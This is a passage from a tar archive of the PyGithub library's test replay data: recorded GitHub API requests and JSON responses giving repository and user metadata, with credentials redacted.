v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-08-25T15:12:40Z","pushed_at":"2023-08-25T22:01:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13634,"stargazers_count":6209,"watchers_count":6209,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1662,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":286,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1662,"open_issues":286,"watchers":6209,"default_branch":"main","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1662,"subscribers_count":112} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSize.txt0000644000175100001660000001645714756101563027674 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSizeHttp.txt0000644000175100001660000001664514756101563030533 0ustar00runnerdockerhttp GET my.enterprise.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"http://my.enterprise.com/repos/PyGithub/PyGithub","forks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/forks","keys_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/teams","hooks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/events","assignees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/tags","blobs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/languages","stargazers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscription","commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/merges","archive_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/downloads","issues_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"http://my.enterprise.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project.setUp.txt0000644000175100001660000005330114756101563021426 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"a7b881032dc3372f0757ab8399ffce75"'), ('Last-Modified', 'Fri, 27 Jul 2018 17:52:16 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.038446'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED45:528D:FD186:146DB5:5B71EE27')] {"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false,"name":"Yossarian King","company":"Blackbird Interactive","blog":"","location":"Vancouver, Canada","email":null,"hireable":null,"bio":null,"public_repos":3,"public_gists":2,"followers":3,"following":1,"created_at":"2014-01-13T18:03:47Z","updated_at":"2018-07-27T17:52:16Z","private_gists":3,"total_private_repos":0,"owned_private_repos":0,"disk_usage":0,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/bbi-yggy/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"1a4d58b0c31a5e69747b7ad48d7a91ee"'), ('Last-Modified', 'Wed, 01 Aug 2018 05:11:35 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.077165'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5B:528C:C8555:10426C:5B71EE27')] {"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 